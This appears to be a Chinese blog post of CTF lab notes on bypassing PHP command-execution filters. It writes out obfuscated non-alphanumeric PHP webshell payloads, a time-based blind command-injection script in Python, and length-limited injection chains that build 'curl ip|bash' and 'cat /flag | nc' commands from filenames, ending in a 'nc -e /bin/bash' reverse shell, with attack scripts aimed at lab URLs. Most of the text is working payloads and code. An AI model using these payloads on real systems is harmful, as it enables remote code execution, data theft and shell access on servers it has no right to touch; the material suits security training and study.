.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__ = $$____;$_($__['_']);
//$__ = $$____;
//$_($__['_']);


反引号`

以下代码:$_POST[_]

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$_ = $$____;`$_[_]`;
//$_ = $$____;
//`$_[_]`;


过滤_

<?php
if(!preg_match('/[a-z0-9_]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

短标签<?php == <?=

通过?>闭合源代码,然后取反绕过。

?><?=`{${~("%a0%b8%ba%ab")}[%a0]}`?>
即 ?><?=`$_GET[%a0]`?>

或

?><?=`{${~("%a0%af%b0%ac%ab")}['-']}`?>
即?><?=`{$_POST['-']}`?>


过滤$

<?php
if(!preg_match('/[a-z0-9_$]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}

php7

php7中 ($a)()会执行$a这个函数

call_user_func()

function test($a,$b){ 
    echo $a;   
    echo $b;   
}
call_user_func('test', "111","222");   //会调用test函数
?cmd=(~("%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c"))(~("%8c%86%8c%8b%9a%92"),~("%93%8c"));
即
?cmd=(call_user_func)("system","ls");


php5



$补充

shell脚本中$的多种用法

变量名 含义
$() 执行括号里的内容
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

命令盲注

页面无回显,或无写入权限,或无法反弹shell时使用


sleep

sleep 3:命令执行5秒


awk NR

awk NR?
如cat flag.txt|awk NR
? //将文件的第?行内容输出


cut -c

读取第n位字符(从下标1开始)
echo "hello" | cut -c 2 //输出e


if

if [逻辑表达式] ; then 命令 ; fi([两边要有空格,]的前面也要)
if [ 1==1 ];then echo "123";fi


payload

if [ $(命令 | awk NR==? | cut -c ?) == f ];then sleep 3;fi

if [ $(cat /flag | awk NR==4 | cut -c 1) == f ];then sleep 3;fi

jio本

import requests
import time

url = "http://xxx.xxx.xxx.xxx:xxxxx/class08/1.php"
result = ""
for i in range(1,5):
    for j in range(1,55):
        # ascii编码
        for k in range(32,128):
            k=chr(k)
            # time.sleep(0.1)
            payload = "?cmd=" + f"if [ `ls | awk NR=={i} | cut -c {j}` == {k} ];then sleep 3;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

长度过滤绕过

前置知识

> 输入(覆盖),>> 追加,>直接加文件名是创建新文件,类似touch
> flag //新建flag文件

\可能实现多行输入命令
ca\ t\ flag == cat /flag
两个\\是转义成一个斜线

rev:将文件内容倒序(反转)

ls 默认按ascll码排序
ls -t 按时间排序,越晚建的文件排越前(没加其他参数时)

利用思想:通过>创建文件夹,每次创建 想要执行的命令 的一部分,ls -t 可以得到我们想执行命令的排列顺序,再将这个顺序写入一个文件(假设是a),前面我们的文件名里会包含\这个换行执行符,然后. ash a执行文件,


dir

dir输出文件名时不换行,ls会换行

*$(dir *):如果第一个文件名是命令,就会执行命令,之后的文件名作为参数传入


小于7

先写出希望执行命令

cat /flag | nc xxx.xxx.xxx.xxx xxxxx

1、倒序创建文件名

\\为了后面连接命令,空格也得 \ 转义

>xxxxx
>\ \\
>xxx\\
>xxx.\\
>xxx.\\
>xxx.\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\	

2、ls -t>a写入文件a

3、执行命令文件(. ash a

自己监听端口就行了

没用的jio本(脚本都是橙子科技的):

//改url,改list

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/2/index.php?cmd="
s = requests.session()

list=[
    '>7777',
    '>1\%20\\',
    '>16\\',
    '>1.\\',
    '>168.\\',
    '>2.\\',
    '>19\\',
    '>c\%20\\',
    '>\|n\\',
    '>ag\\',
    '>fl\\',
    '>t\ \\',
    '>ca\\',
    'ls -t>a'
]

for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

s.get(baseurl+"sh a")

小于5

原理:自己的服务器在80放一个index.html文件,文件内容为反弹shell命令,在目标靶机curl自己的服务器并通过管道符给bash执行,shell就反弹回来了。


1、构造

ls -t>y 这个命令长度大于5,所以要先构造一个包含这个命令的文件

用到的思想:文件顺序靠后但命令靠前的命令先放进文件中,后面的命令追加进文件里

>ls\\
ls>_

如果正常创建ls\ \ \\.....这些文件时,ls\会放在最后,我们利用提前写入文件,将他放到了第一位(命名无所谓,保证对应的ascll码大小关系就行)

>\ \\
>-t\\
>\>y
ls>>_

这样就可以得到有ls -t>y命令的文件


2、希望执行的命令

curl 192.168.1.110|bash

然后就是和长度7一样了,只不过把命令拆长了

>bash
>\|\\
>10\\
>1\\
>8.\\
>16\\
>2.\\
>19\\
>\ \\
>rl\\
>cu\\
sh _    //执行ls -t>y命令

3、准备反弹shell

python默认开启当前目录作为web服务器

python -m http.server 80

在当前目录下创建默认文件index.html,文件内容:

nc xxx.xxx.xxx.xxx xxxxx -e /bin/bash

4、启动

sh y
nc -lvp xxxxx

最爱的jio本环节

//改url,改list2

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/3/index.php?cmd="
s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 192.168.1.161/1|bash
list2=[
    ">bash",
    ">\|\\",
    ">\/\\",
    ">61\\",
    ">1\\",
    ">1.\\",
    ">8.\\",
    ">16\\",
    ">2.\\",
    ">19\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

小于4

记得看前置知识和dir


1、构造ls -ht>g

-h可以使排序靠前,不影响命令执行

>g\;    //这个是用个分号防止后面有其他文件名影响我们的执行语句
>g\>
>ht-
>sl
>dir
*>v

>rev
*v>x    //当前目录下有rev和v文件,linux的*是贪婪模式,*v==rev v

x文件:ls -th>g


2、构造反弹shell

将ip换成16进制地址,方便换行构造

在线IP转十六进制 - IP到十六进制转换—LZL在线工具 (lzltool.cn)

写出想执行的命令,下面的步骤和小于5一样

curl 192.168.1.110|bash
curl 0XC0A8016E|bash
>ash
>b\
>\|\
>6E\
>01\
>A8\
>C0\
>0X\
>\ \
>rl\
>cu\
sh x    //执行x文件(ls -th>g)
g文件:curl 0xC0A8016E|bash

3、准备反弹shell

python默认开启当前目录作为web服务器

python -m http.server 80

在当前目录下创建默认文件index.html,文件内容:

nc xxx.xxx.xxx.xxx xxxxx -e /bin/bash

4、启动

sh g
nc -lvp xxxxx

jio本环节

//改url,改list2

#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/4/ffff.php?cmd="
s = requests.session()

# 将ls -t 写入文件g
list=[
    ">g\;",
    ">g\>",
    ">ht-",
    ">sl",
    ">dir",
    "*>v",
    ">rev",
    "*v>x"
]

# curl 192.168.1.110|bash
list2= [
    ">ash",
    ">b\\",
    '>\|\\',
    '>6E\\',
    '>01\\',
    '>A8\\',
    '>C0\\',
    '>0x\\',
    '>\ \\',
    '>rl\\',
    '>cu\\'
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh x")
s.get(baseurl+"sh g")
posted @ 2024-03-04 21:27  ^cyi^  阅读(15)  评论(0编辑  收藏  举报